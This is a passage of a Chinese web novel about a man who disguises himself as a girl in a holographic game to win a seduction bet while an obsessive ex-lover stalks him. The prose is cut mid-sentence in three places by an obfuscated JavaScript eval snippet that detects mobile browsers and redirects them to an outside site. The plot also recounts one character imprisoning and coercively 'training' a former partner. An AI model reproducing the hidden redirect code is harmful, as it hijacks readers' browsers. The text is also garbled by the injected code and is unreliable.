如果是现实，恐怕松裕这一拳能直接把他胃里的东西打出来。 但他昂起头，并没有因为这点退却，看着松裕的目光带着挑衅：“松哥怎么知道我对小白小姐不是真心呢？” 他并没有继续和松裕纠缠，作为花花公子，他拥有一张好皮囊，现在这双迷倒无数人的眼睛温柔地看着小白，眼中的神色复杂难辨： “——我对小白小姐，一见钟情。” 8. 我的主人 其他人面颊上的神色实在古怪。 一来，沈凉失恋之后不是没有其他人想要和他恋爱，哪怕只是419也不介意，但沈凉好像彻底收心，毫不留情地拒绝了那些爱慕他的人。 二来，虽说沈凉为人花心，但一直以来都非常有分寸。如果之前有人说沈凉将会为了一个人挑衅松裕，恐怕会被其他几人当成笑话。 然而，现在这件不可能发生的事就这么展现在他们几个人面前。 “啊！等等松哥，这件事情肯定有什么误会，你知道沈凉失恋了，我看他有点缺爱到失心疯了，绝对不是想挑衅你。” 姜江率先回神，他立即上前，拦住松裕，同时给沈凉使眼色，让他道歉。 不知道是沈凉没看懂还是看懂了却装作没看懂，他没有任何动作。 松裕表情很淡：“让开，姜江。这事跟你没关系。” 姜江犹豫，但还是没有退让。 闹到这个地步，小白这个造成闹剧的关键人物不出场是不行了。 她向前一步，牵住了松裕的手。 松裕一怔，回头看她，但小白的目光却落在沈凉身上。 “你叫沈凉？” 沈凉的面上并无喜色，反倒像是信徒等待神明宣判那样忐忑。 “很感谢你的喜欢，”小白说，她的声音毫不迟疑，没有丝毫犹豫，“但是我已经有喜欢的人了。如果你喜欢我，请不要让我为难。” 鸦雀无声。 “为难……哈哈，我的喜欢让你为难了吗？” 他自嘲地笑了笑，双目却从未离开小白。 看起来那么可怜，好像被主人抛弃了一样。 “是的。” 沈凉微笑着，双目却像瞬间失去了什么：“嗯，我不会让你为难了。” “那样就好。” 说完，她看向松裕：“还打副本吗？” 这一句反问让众人的视线完全集中在小白身上。 不简单。 实在不简单，不愧是拒绝了沈凉的人，这种情况下还有心思继续打副本。 松裕瞥了眼小白牵着自己的手，心情莫名变好，全然没注意到那只手跟自己差不多大。 “打。有些人心里有数最好自己退队，别逼我动手踢人。” 这句话说的人究竟是谁，在场众人心里都有数，只不过主人公却完全没在听，只是用那种痴痴的眼神凝视着小白。 松裕眯眼，下一瞬，沈凉的身影就消失在众人面前。 “我踢掉了，姜江，再招个其他人。”松裕施施然看着姜江说道。 “好的松哥。”姜江不着痕迹地叹了口气，决定等打完之后再找沈凉聊聊他失态的原因。 这场多人本最后几乎变成松裕和那个名叫小白的少女的双人秀场。 松裕众人当然不意外，毕竟他原本就是这方面的大佬，只是没想到他的徒弟也丝毫不逊色于他，双方之间的配合更是默契地令人叫好。 只需要一个眼神，对方就能明白自己心中所想并立即做出配合。 一场战斗结束，原本心中有轻视念头的众人都不敢再这般想。 《世界降临》只靠实力说话。 早早打开录屏的姜江在结算之后举起手：“松哥，我录屏了，可以发出去吗？” 松裕这一场打得非常畅快，当然，他战斗的视频经常被姜江录屏之后征得同意放在网上，因此也并不介意，只是看向小白：“我都可以，你呢？” 小白沉默一会：“只要把我面部码掉就可以。” 面部码掉？还真是闻所未闻的一个要求。 姜江看向松裕，松裕没有露出任何表情，点头：“照她说的做。” 看起来没有任何好奇的地方。 “抱歉，我这边临时有点事，接下来应该不能继续了。”忽然，小白开口，看着松裕说道。 松裕只停顿一下，点头：“也好，我过一会也要下线了。” 随后小白向他点头示意，身影消失在此处。 她下线了。 小白一下线，对下小白感到好奇的众人立即按捺不住来到松裕身边：“松哥，这位到底是何方神圣？跟你又有什么关系？她是不是会变成我们嫂子？” 松裕挑了挑眉，露出一个别有深意的笑容：“你猜。” “……？” “松哥你学坏了！” 唯有一人没有围到松裕身边，姜江现在还在质问沈凉究竟是怎么回事，却没想到，下一秒沈凉的头像就彻底暗了下去。 这家伙！ 姜江忍不住暗骂一声，他在观战记录里看见了沈凉的ID，也就是说沈凉一直都在看着他们作战，然而在小白走之后，沈凉也立即下线，不难看出他观战最主要看的究竟是谁。 但是松裕既然将人带到几个兄弟面前，侧面就是昭告小白是他的人，沈凉难道是想跟松裕抢人吗？ 他忍不住打了个寒颤。 如果不是想跟松裕抢人，对方又为什么会做到这个地步呢？更何况小白甚至已经明确拒绝沈凉，连当事人的心都不在自己身上，沈凉还要冒这个险吗？ 忽然，姜江想到一个可能性，他忍不住瞪大眼睛。 难道……沈凉早就认识小白？ …… 戎雪岚下线之后，吵闹的小爱才停下来。 “未知号码向您发送消息：我知道是你，和我见一面吧，松哥不会知道的。” “未知号码申请通讯共计37个，短信共计102条。” “如遇骚扰请及时报警。” 小爱的机械音在此时听起来更显得好笑。 戎雪岚放下手机，吐出一口气。 ……全天下竟然有这么巧合的事。 在现任攻略对象身边，发现了前任的身影。 看着那句‘松哥不会知道的’，戎雪岚的眸色显出几分阴翳。 这家伙，居然在威胁他。 一旦被松裕知道，他的任务很有可能会因此失败。 想来松裕应该没办法容忍带有目的的接近。 对戎雪岚而言，任务失败没有什么关系，他攻略只是因为想攻略，出于自我意志，没有任何人指使。任务失败自然也不会有什么惩罚。 而松裕……只能算得上是意外。如果攻略失败，他要提前为自己找好出路。 思绪收回。 戎雪岚思索片刻，向对方发去。 【R：你想怎么做。】 【未知号码：来见我吧，我好久、好久、好久没有见到你了。】 他叹出一口气。自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656091|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己被不得了的麻烦缠上了啊。 沈凉这个人，原本是谁都不爱的花花公子，戎雪岚攻略他的方式开始都是和松裕一样，伪装成沈凉最喜欢的类型，而再攻略过程中，他发现沈凉之所以花心，是因为不愿意对一个人投入过多感情。 简而言之，他是一个胆小鬼，因为害怕受伤，所以封闭自己的内心。既然是这样，戎雪岚及时调整策略，采用强硬手段，让沈凉不得不向自己投入感情。 当时挣扎得这么厉害……没想到，他离开之后，又巴巴地缠上来。 戎雪岚快速在脑海中重新制定松裕的攻略计划，将沈凉也作为计划的一环纳入其中，顺带思索应该怎样安抚他。 【未知号码：{定位信息}】 【未知号码：就定在这里好么？这是我们第一次遇见的地方。】 戎雪岚无奈地叹出一口气。 沈凉口中的第一次遇见，何尝不是戎雪岚的别有用心。 不过戎雪岚不会说实话，没必要这种关头上惹怒沈凉。 …… 奢华低调的装潢、暧昧朦胧的光线，戎雪岚顺着对方给出的定位来到这间名为CHARM的私人会所。 坐在位置上，沈凉的身影并没有出现，戎雪岚并不紧张，只是在脑中回想和对方相处的细节。 攻略沈凉时，他打听到对方最喜欢在这间会所猎艳，于是他出现在这里，以对方最喜欢的模样，毫无攻击性的纯澈、懵懂。 随后他成功进入沈凉的视野，成为他的目标。 不过三天，沈凉就着迷地将他带回自己的家，而戎雪岚也在这时成功掌握沈凉的相关信息，并为之后的攻略做出准备。 在沈凉对戎雪岚提出分手之后，戎雪岚将沈凉关在自己家里，一改之前的懵懂，极尽恶劣地调/教他。 迫使沈凉与社会彻底断交之后，他行动、身体都被束缚，整个人完全被戎雪岚掌控，因此不得不将自己的寄托放在戎雪岚身上。 为了不惹人怀疑，一个月之内，戎雪岚就将沈凉放了出去，但是沈凉不仅没有向治安管理中心举报他，甚至到了没有戎雪岚就不安的地步。 于是戎雪岚就明白自己的攻略成功了。 简单安抚沈凉一段时间，让他松下警惕，随后戎雪岚果断脱身离开，完全没有考虑被驯养的宠物离开主人之后应该怎么生存。 “雪岚，你来了。”沈凉痴痴的看着戎雪岚的脸庞。 那么俊美的轮廓，完全长在他审美点上的五官，脱离伪装之后冷淡的气质……依旧是那么让人着迷。让人想要完全独占他。 戎雪岚在沈凉之前就点了一杯咖啡，没有回答沈凉的话，甚至没有朝沈凉看一眼，就是这么轻慢的态度，沈凉却不仅没有生气。 反而目光更加火热着迷地注视着戎雪岚的一举一动。 戎雪岚终于施舍般瞥向他，手中的咖啡被他轻轻搁下，发出清脆的碰撞声。 “你应该叫我什么？”他看着沈凉，目光毫无波澜，仿佛眼前站着的不是一个人，而是一个物件。 沈凉浑身一抖，不、他浑身都在颤抖，这是极度兴奋的表现。 他低下头，就差跪服到戎雪岚脚边亲吻他的靴面。 “……主人。” “主人、主人、主人。” 9. 我喜欢你 “主人，对不起，是我太想你了。” 沈凉深深低下头，戎雪岚看不见他压抑不住笑容勾起的唇角。 “我们的关系应该已经结束了。” 随着这句漫不经心的话一出口，沈凉猛地抬起头，面色仓皇：“不！我不相信，主人，主人我不同意！” “你认为你有这个资格说不吗？” 沈凉面色一白，想说什么，却在迎上戎雪岚双目的时候全然忘却。 “就像你和那些爱慕你的人分手一样。你忘了吗？分手是一个人的事，这可是你说过的。” “主人！”沈凉像是不愿意面对，将自己的脸完全埋进双手之中。 “如果你要说的只有这个，我很忙，没有时间陪你闲聊。” “如果主人是为了惩罚我，才这样对我，那么松裕呢？他做了什么事，值得让主人看重他？！”他猛地抬起头，坚定地看着戎雪岚，像是誓要从戎雪岚那问出个一二来。 皱了皱眉，戎雪岚压下烦躁：“和你无关。” 这边松裕被两个难得一见的大忙人邀请到CHARM，却没想到在争吵的人中忽然听到自己的名字。 他下意识顺着声源处看去，就发现面容激动的沈凉，和他对面的男人正在说着什么，看起来实在像是争论。 只可惜松裕没办法根据一个背影就判断出能让沈凉这么激动的究竟是什么人。 他在脑子里过了一遍沈凉的交际圈，最终发现，只有姜江和他比较接近，然而那个背影透出有别于他人的气质，一看就不是姜江。 松裕很快就不感兴趣地移开视线，他并不太喜欢沈凉，因着姜江的原因，沈凉偶尔会跟他们一起玩，但也仅仅只是一起玩而已，并没有什么多余的关系。 所以，他对沈凉身边的人究竟是谁也没兴趣知道，恐怕是他哪一任小情人吧。 很快，他匆匆一瞥，漠不关心地转入拐角包厢中。 “Surprise！”松裕一踏进包厢，随着一道女声落下，松裕的头上炸开礼花炮。 松裕：“……” 他忍无可忍：“坞修，管管你老婆！” 坐在沙发上的男人懒懒掀起眼皮，看了女人一眼，向松裕摊手：“我可管不住她。” 凌宜笑嘻嘻，坐回沙发上，一把搂过坞修的肩膀：“我们家坞修当然是听我的。” 松裕眉心一跳：“你们两个大忙人百忙之中出来就是为了找我秀恩爱的？” 凌宜表现得终于正经了些，她严肃道：“当然不是！” 很快，下一秒这种正经就被打破。 “我听说小裕也有自己喜欢的人了？” 松裕眉心一条，刚喝了一口水差点喷出来，他皱起眉：“你们怎么知道这件事？” 这对夫妻对视一眼。 “居然没否认，难道这件事是真的？我们马上就要有弟妹了？” 松裕叹气：“你们两个正经点，八字没一撇的事谁告诉你的？” 凌宜果断选择出卖对方：“当然是姜江！” 松裕毫不意外：“我就知道。” 姜江作为他们之中人缘最好的那个，各类消息最有可能就是从他那里流通出来。 “难道这一回你真的……可你不是说不会喜欢立体人吗？”理由的表情充满好奇。 松裕微微皱眉，露出点苦恼的神色：“现在暂时还没有接触到她线下，如果只是线上，我想应该……” 凌宜一听，表情夸张：“什么？小裕，难道你是想不负责吗？这可不行！” 坞修也应和道：“这样太不负责了。” 松裕叹了口气：“我知道，所以我并没有答应她。” “答应他？难道他已经……” “嗯，跟我表白了。” 两人顿时陷入一种难言的沉默。 松裕感到有些奇怪：“怎么了？” 坞修道：“不，只是想到喜欢你的孩子居然是直球型，一时之间有点嫉妒。” 松裕啼笑皆非：“你们都结婚了，还在乎这个。” 凌宜似笑非笑瞥了眼坞修：“你不懂，就是结婚之后才更要直白一点。年纪越大越喜欢直球的乖小孩啊。” 不妙。 怎么听起来像是夫妻之间感情出了问题，松裕不愿意介入夫妻之间，紧急避险，转移话题。 “对了，你们怎么回事，平时不是恨不得一年三百六十五天都泡在研究所里吗？居然有空出来玩？” 凌宜耸肩：“当然是有任务的。实验室最新产出的战斗仿生人出逃，现在正在紧急抓捕当中。” 涉及机密，这一回凌宜主动转移话题。 “对了，你的小对象到底什么样，给我描述一下，满足我的好奇心呗。” 松裕挑挑眉，想了想，还是决定说给对方听，否则他完全可以遇见凌宜会一直缠着他追问：“她……个子很高，脸却长得很可爱，看起来很纤细，但实际上并不柔弱，尤其是战斗力，非常强悍，并不像一般人。” 凌宜听着听着，忽然开口说道：“你有没有怀疑过，她可能是男的？” “……哈？”松裕显然从未想过这个问题，被凌宜乍一提出来，整个人懵了一瞬，好在他很快反驳：“绝对不可能。哪有性格这么可爱的男人，他不过是个子高一点，体型比女孩子更强壮一点，战斗力强一点，凭什么说她是男的？都新星历了，不要性别刻板印象！” 凌宜耸肩：“我也只是随口一提，毕竟在蓝星时代，就有很多人男扮女欺骗别人感情。” 松裕摇头：“不管怎么样，我都相信小白不会这样，就算真的这样，她也一定是有苦衷的。” 坞修沉默片刻：“死恋爱脑。” 松裕一哽。 …… 从表面上看，沈凉的事情并没有对戎雪岚造成什么影响。 但戎雪岚心中却又有一种莫名其妙的不安，这种不安就像是不知道什么时候埋下的地雷，不知道什么时候就会忽然爆炸。 戎雪岚清楚，那一天沈凉的邀请绝对不是突如其来的心血来潮，绝对有什么东西被他所忽略。 但究竟是什么，戎雪岚至今没搞清楚。 既然是这样…… 他思索片刻，向某人打了电话。 “帮我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656092|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个忙。” * “说吧，要我帮你什么忙。”连绛半靠在九灯的吧台，现在是白天，酒吧尚未营业，因此非常冷清。 “帮我查一下CHARM那一天17：00—21：00之间客人名单。” 连绛点点头，还是询问了一句：“发生了什么？” 戎雪岚无意隐瞒，反正现在连绛又不是他的攻略对象：“我遇到了之前的攻略对象，他邀请我去CHARM，但我怀疑他想做的远不止这些。” “你的意思是，他有可能表面邀请你去CHARM，实际上是想破坏你的攻略吗？”连绛听懂了戎雪岚话里的含义，随后她摇摇头，“我认为你不用太担心。一旦松裕对你交付信任，其他人说什么都没用。除非证据摆在他眼前，除非你亲口对他说。” “不，我不是担心这个，”戎雪岚眉头紧皱，“我担心他联合其他人一起。” 他苦笑：“一个人我还有可能招架得住，七个人一起的话，恐怕还没攻略完，我就先一步被吃了。” 连绛忍不住笑了起来：“那也没办法，这可是你作的孽，当然要自己慢慢偿还。” 戎雪岚挑眉，凑近她：“难道我们不算一根绳上的蚂蚱吗？” 两人之间的距离过近，远超正常社交距离。 近得戎雪岚甚至能够看见连绛根根分明又卷翘的睫毛。 连绛的表情没有露出丝毫破绽，她勾唇：“看起来七个人不够满足你，你想加上我吗？” 戎雪岚：“……” 他立即抽身离去。 一副完全避之不及的样子，速度之快，看得连绛忍不住大笑起来。 “我当然可以帮你，但是我能得到什么好处呢？” 戎雪岚想了想，认真道：“免费看我的笑话。” 连绛一愣，捂住自己的肚子，狂笑：“你怎么能用那张一本正经的脸说出这种话。” “很好，为了免费看你笑话，我同意了。” 戎雪岚：“……” …… 松裕上线的时间越来越长，和小白在一起的时间也越来越久，起初他还会带姜江等人开几场多人本，后来别说多人本，就算是让小白和他人呆在一起都不愿意。 两人早已双排速通所有双人本，现在就算上线也不过在大世界各处到处走走看看。 这段时间，松裕把自己之前没兴趣看的风景都看了个遍，那些平日觉得无趣至极的风景，在身边人的陪伴下居然这么绚丽多姿。 他深深地吸了口气，认为无论现实世界的小白是怎样的人，他都能够接受她。 现在他和小白身处山崖之上，眼前是一片落日熔金的景象，金灿灿的光线落在身上并没有温度，但是松裕却感到一种莫名的力量，这种力量和身边人恬静的面容给了他动力。 【木谷：小白，可以再说一遍吗？】 【蓝色小白兔：什么？】 【木谷：说你喜欢我，再说一遍。】 【蓝色小白兔：……】 【蓝色小白兔：我喜欢你。】 【木谷：嗯，我也喜欢你。请和我在一起。】 10. 我是男的 眼前黑色的天幕点缀着数颗闪烁的繁星，远处原本黑漆漆的地面飞起无数道烟火。 戎雪岚怔怔地坐在悬崖边上。这是他第一次见到这样瑰丽的景象。 难道要怪全息技术太好吗？竟然令他和现实混淆。 “喜欢吗？”在满目星火中，松裕笑着看向他。 戎雪岚这时才想起来，原来眼前这个人就是赠给他这场烟火的人。 不，这不是送给他的，而是送给小白的。 波澜的心迅速平静下来，他披上小白的皮囊，对松裕说：“嗯，我很喜欢。” “……谢谢你。” 这景象当然全服都能看见，并不仅局限于一个人。 沈凉自然也不例外。 他低低的笑了声，声音有如鬼魅：“……我不允许，你是我的。” * 松裕和他在一起了，这件事情在戎雪岚的意料之中。 毕竟他和松裕相处也快又两个月了，再不在一起，戎雪岚才是要怀疑自己的魅力。 唯一让他感到意外的是，在他和松裕培养感情的这段时间，沈凉竟然真的乖乖的，没有出来捣乱。 然而越是这样，戎雪岚越感到不安，他知道沈凉才没有这么听话。 他和松裕在一起的这段时间沈凉更不可能什么事都没做。 尽管松裕在当天就提出想和戎雪岚见面，但却被戎雪岚以在一起能超过一个月就见面为由婉拒。 今晚，戎雪岚照例驶向九灯，向连绛汇报任务进度。 然而当他抵达九灯时，却被告知连绛临时有客人，于是戎雪岚点了一杯酒，坐在吧台耐心等待。 “一个人？” 一道声音出现再戎雪岚身边，没等他皱眉驱赶对方，却在对上对方长相时候愣住。 剑眉星目，眼眶很深，五官锐利，相貌英气俊朗，更重要的是。 戎雪岚认识他。 这是戎雪岚的第一任攻略目标，一位沉迷在事业之中的事业狂，同时也是戎雪岚几位攻略对象之中最正常的人。 只有他，戎雪岚和他是和平分手。 因此戎雪岚的诧异仅仅存在短短一瞬，就很快恢复自己的表情。 “没想到你会来这种地方。” 垂眸笑笑：“你走了之后，我总是应该有点改变的。不过今天是来谈生意的。” 来这种地方谈的能是什么正经生意。 尽管心里吐槽对方，戎雪岚并未表现出来，他对宗政竺事情并不好奇。 或者说，只要是分手之后，戎雪岚就不会对对方抱有多余的好奇心。 “你……有新的恋爱对象了吗。” 不知道想到什么，宗政竺忽然开口道。 戎雪岚的面上显露出一点诧异，但很快就被他收敛：“当然。我不会等你。” 别说新的恋爱对象，这都是继他以后第七任了。 “嗯。我知道，你不爱我。”宗政竺说道，他在戎雪岚的身边坐了下来。 “给我一杯玛格丽特。” 甚至还点了杯酒，看起来不会轻易离开了。 戎雪岚不动声色皱了皱眉：“你不是要谈生意吗？” 宗政竺喝了一口，慢慢开口：“谈好了。” “哟，两个人都在呢。怎么，认识？” 戎雪岚等了许久的人终于姗姗来迟。 连绛过来，见到两人坐在一起，挑了挑眉，走进吧台接替调酒师的位置。 “喝点什么，我请。” “我找你不是来喝酒的。”戎雪岚皱眉，看着对方。 不知道是不是因为宗政竺出现的原因，他莫名有些许焦躁。 戎雪岚喜欢演戏，并且不担心成为别人戏剧当中的演员。 但唯有一点——这戏得是他自己编排的。 而现在发生的着一些事情，让他冥冥中感到一只不属于自己的手，在操控着他身边的人，来影响他。 戎雪岚绝不会允许这样的事情发生。 连绛摇摇头：“来酒吧不喝酒，没有这样的事吧。你就多点耐心吧，再说了，想喝什么我请客。” 见连绛这么说，戎雪岚也不好多说什么，只能皱着眉头坐在原地。 “你呢，宗总，我建议你喝这杯‘失恋’，我的拿手特调哦。” 戎雪岚一听这个名字就忍不住皱眉，他和宗政竺的前任关系，是在内涵谁几乎一看就知道。 连绛究竟想干嘛。 宗政竺倒是没有露出其他的表情，只是晃了晃酒杯，冰块在其中当啷作响：“没喝完。” “没人规定你只能喝一杯。”说话间，连绛的手指在酒杯之间翻转、翩飞，动作干净利落，又不失优雅，具有很高的观赏价值。 失恋是一杯上面深蓝、下面乳白的鸡尾酒，入口微甜，余味却很酸。 宗政竺只喝了一口。 “不喜欢吗？”连绛看着他。 “对我来说，太酸了。” 连绛笑了笑：“是吗。我还以为你是那种为了开始的一点甜，能够忍受酸味的人。” 宗政竺没有说话。 在此期间，戎雪岚终于冷静下来，他观察着连绛和宗政竺之间的互动，联想到宗政竺口中的谈生意，不难推断，恐怕这个生意对象就是连绛。 宗政竺的公司，不，应该称之为集团更准确，主要从事高新技术产业，其中《世界降临》就有他的参股。 而连绛……尽管在攻略之前有过调查，但当他发现这间酒吧也是连绛的产业之后，他就知道连绛的身份远不止表面上那么简单。 既然是这样，连绛和宗政竺之间有合作好像也不意外……个鬼啊！ 哪有正规合作是在这种场合，还只有两个boss的情况下签的？ “你呢，想和我说什么？” 连绛将视线移到戎雪岚身上。 戎雪岚只是看了宗政竺一眼，连绛说道：“没关系，让他也听听吧，毕竟这件事还需要他的帮助。” 戎雪岚：“……” 戎雪岚：“……你认真的吗？”让前男友帮忙追现男友吗？ 虽然现男友已经是男友了，但事实上这层关系并不稳固。说实话，戎雪岚并不认为松裕有多喜欢自己。 因为这层关系是笼罩在一层虚假外衣之下的。他很清楚，一旦被松裕发现自己的身份是戎雪岚，是男性，甚至是表现出来很喜欢连绛的男性。 这层关系就会轻而易举破裂。 “当然，宗总可是很大度的人。”连绛笑着，她歪头，一只手托住半张脸。 戎雪岚顺着连绛的视线看向松裕。 他又能在里面起到什么作用呢？ …… 与此同时。 “你想找我说什么？” 松裕被姜江约了出来，当他看见沈凉的时候，就知道实际上想和他见面的人是沈凉。 “别这么不耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656093|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦嘛，我要和你聊的是小白小姐，当时我为什么这么失态，你不想知道吗？” 松裕丝毫不为所动：“如果我想知道，我会主动问他，不需要你来告诉我。” 眼见松裕站起身就要离开，沈凉忽然大声喊道。 “你觉得我想挑拨你们之间的关系吗？” 他笑了一声。 “没错，我就是想挑拨你们之间的关系。” “但那也得有缝隙让我挑拨，不是吗？如果你们之间的关系没有缝隙，任凭我再怎么挑拨有没有用吧？如果你们之间的关系有缝隙，那么就算我不调拨，缝隙也会越来越大吧？” “你不想知道你们之间存在的缝隙究竟是什么吗？” 松裕转过头：“你认为我会花时间在这里听情敌的满口胡言吗？” 沈凉却笑了：“情敌？是不是情敌还不好说呢，你不知道吧，小白是男生啊。” 松裕：“……你在说什么屁话。” “怎么，不愿意相信吗？”沈凉笑得更加恣意。 “我当然知道你不喜欢男人，现在我们还是情敌吗？”他绕到松裕身边，语气中藏着几分不怀好意。 松裕却并没有像沈凉想象中一样大惊失色，他的面上只出现一瞬间的惊异，但很快抹去，变成面无表情：“是不是男的，我还会不会喜欢，这些都跟你没关系，就算我和他分手了，那也轮不到你。” “你！”一瞬间，沈凉像是被戳破一样，面上出现气急败坏的神色。 他恼怒的看着松裕远去的身影，恨恨地拿过桌子上的一大杯水喝了一口。 临走前，他看了一直在旁边安静如鸡的姜江一眼，冷声道：“下次再帮别人来约我，你还是自己从我的社交圈里滚出去吧。” 虽然回击沈凉时沈凉所说的事情看起来对松裕并没有造成多少冲击，但实际上，松裕必须承认，他的心底真的出现了一丝小小的疑虑。 难道小白真的是男人……？ 他登上世界降临，原本以为小白不会在，但没想到。 看着小白的头像亮了起来，松裕没有看坐标，果断选择跟随前往。 小白就在当时那座悬崖上。 他孤零零地一个人坐着，仰头看天，让松裕的脚步一下子钉在原地。 ……为什么，这道身影看起来这么孤独，好像没有人能够抓住他一样呢？ 就在这时，对方好像察觉到什么，倏地转过头。 【蓝色小白兔：你来了。】 【蓝色小白兔：我有件事情和你说。】 松裕走到他身边，慢慢思索，小白究竟想对他说什么呢。 【蓝色小白兔：我是男的，对不起，骗了你。】 【木谷：……】 【木谷：没关系，这件事情我早就知道了。我不在意。】 【木谷：不是说，爱情不分性别吗？】 松裕机械地说出这段话。 说实话，他的大脑乱糟糟的，刚从沈凉口中得知的事情又在小白口中得到验证。但他现在顾不上，比起对同性的抗拒，现在他更不想失去小白。 他无心分辨究竟是不甘初恋变成笑话，还是真的喜欢他到能够不顾及性别。 小白。小白。小白。 他在心中默念这不知道是真是假的名字。 脑海中不断反刍两个月以来相处的细节。 不管是什么原因，松裕可以肯定，至少现在，他不想失去他。 11. 雪会化掉 戎雪岚：“……” 戎雪岚一阵晴天霹雳。 不是说松裕是直男吗？ 刚才他和连绛汇报完之后，连绛就若有所思地说他的任务完成了。 也就是说，赌约算他胜利。 虽然戎雪岚清楚松裕并没有爱上他，并且自己也没有验证成功真心和技巧哪个更重要。 但这不重要，连绛都算他完成了，松裕还给自己找麻烦吗？ 由于任务完成的通知与他的计划略有差异，为了防止松裕察觉问题，戎雪岚还是选择上线安抚对方。 当然，最好的结果是他告知自己真是性别之后对方一怒之下和他分手。 只是…… 现在显然是最坏的情况。 戎雪岚还有理智，至少没有因为这一点就失态。 他面无表情，决定完全更换自己的着装，让松裕认清楚自己是个男人的事实。 世界降临的确可以微调自己的体型，但说到底，戎雪岚身高足足有181，再怎么微调也不可能降低二十厘米。 一瞬间，戎雪岚身上可爱的裙子就更换成便利的作战服，衣服勾勒出他挺拔的腰身，将之前微调过，变得更柔和的五官也变回之前的模样。 松裕痛苦地看着自己的恋人变成男性，当他的目光落在那张脸上时，兀地瞪大眼睛。 “你……！” 他皱眉，一把抓住戎雪岚的衣领，怒极反笑：“好一个小白，戎雪岚，你耍我是不是？” 戎雪岚怔了一下，很快就意识到对方终于认出他的脸。 他只是笑了一下，随即拉开松裕的手：“怎么能说是耍你呢。毕竟原本我可没想跟你在一起，只是没想让你离连绛远一点而已。” “——你！”松裕狠狠地瞪视他。 “怎么？” 揭穿身份之后，戎雪岚就不再伪装，他走到一米九的松裕身后，微微垫脚，双臂环住他的脖子，迫使他向后低头。 他凑到松裕耳边，轻声：“不是说喜欢我喜欢得不看性别吗？知道我是戎雪岚之后就不喜欢了吗？” 明明是全息游戏，松裕应该没有办法感知到对方的呼吸才对，他的耳朵却如有所感，顺着对方说的话蔓上一层微红。 “离、离我太近了。”他屏住呼吸，想象中厉声诘问，却没想到一开口就结结巴巴。 “嗯？”戎雪岚饶有趣味，他用自己的鼻尖蹭了蹭松裕的耳垂，感受到掌下的肌肉一瞬间绷紧，“怎么，感觉没办法忍受吗？” “那就狠狠地推开我啊。” 戎雪岚的四肢很长，他只是松松地环住松裕，只要松裕有任何一点想要挣脱的念头，就能轻而易举推开他。 “你！你以为我不敢吗！”松裕偏头，目光凶狠，看起来恨不得想在戎雪岚身上咬下一块肉来。 戎雪岚看的好笑：“那你倒是推开啊。” 不然是在和他欲拒还迎吗？ 松裕轻轻挣开，他转身，一把攥住戎雪岚衣领，见戎雪岚眉毛皱起，又下意识在手上松了劲。 戎雪岚当然没有错过松裕这一举动，他轻轻笑了笑：“承认吧，你就是很喜欢我。” 松裕打量着那张令他又爱又恨的面孔，视线下移到那张薄薄的、看起来分外水润的唇。 自从读书时被变态疯狂追求之后，他的身体就对男人感到深深的厌恶，结果自己喜欢的人还是男的。 松裕现在的脑子被各种情绪塞得饱胀，对戎雪岚的感情更是复杂得没办法分清。 既然如此。 他拉过戎雪岚，不顾戎雪岚放大的瞳孔，对着那两瓣唇重重地亲了下去。 【警告！您已涉嫌X骚扰，将于三秒钟后登出账号！】 【惩罚：24H无法登录。】 松裕从全息仓中坐了起来，营养液在身上滴落，他捂着脸，低低地笑了起来。 他的身体也不讨厌他。不，甚至是很喜欢。 如果能在现实当中亲到…… 他想象着那样冰凉柔软的触感，感到身上微微发热。 松裕舔了舔自己的唇瓣，跨出全息仓，走进浴室。 …… 戎雪岚抚着唇瓣，那个强吻他的人就这样消失在他面前。 随手叉掉系统对于是否需要报警以及弹出的心理咨询电话，他坐回悬崖上。 这不是他第一次接吻。 缠绵的、粗暴的……这个吻有什么不同吗？ 硬要说的话，除了这个吻在他的意料之外，更多的是松裕痛苦的、孤注一掷的眼睛。 又或者，这其实根本不能算一个吻。 只是唇与唇的贴合。 忽然，一道人影出现在戎雪岚身边，有人在他边上坐下。 戎雪岚望着天空，天空和现实世界的天空一样，都是深邃的蓝，和那一晚唯一的不同也就是多了松裕放的烟火。但是换了一个人放，景象也不会有任何变化。 就比如身边的人。 戎雪岚转头看向沈凉，沈凉的目光停在他的唇上，痴迷又嫉恨。 “他亲你了。” 不是疑问，而是肯定。 戎雪岚的视线定在他身上，语气轻佻又不屑：“跟你有什么关系？” 光是听见戎雪岚的声音，沈凉就已经浑身颤抖，他的膝盖犯软，几乎想要跪在他面前。 他的语气谦卑：“是的，我不配过问主人的事。” 于是戎雪岚沉默了，他移开视线，有点心烦：“我不是你的主人。” 沈凉像是被针扎了一样一瞬间抬起头：“主人就是主人，唯有这一点是永远不会更改的！” “是吗？但你一点也不听我的话。” 沈凉愣住：“我……” 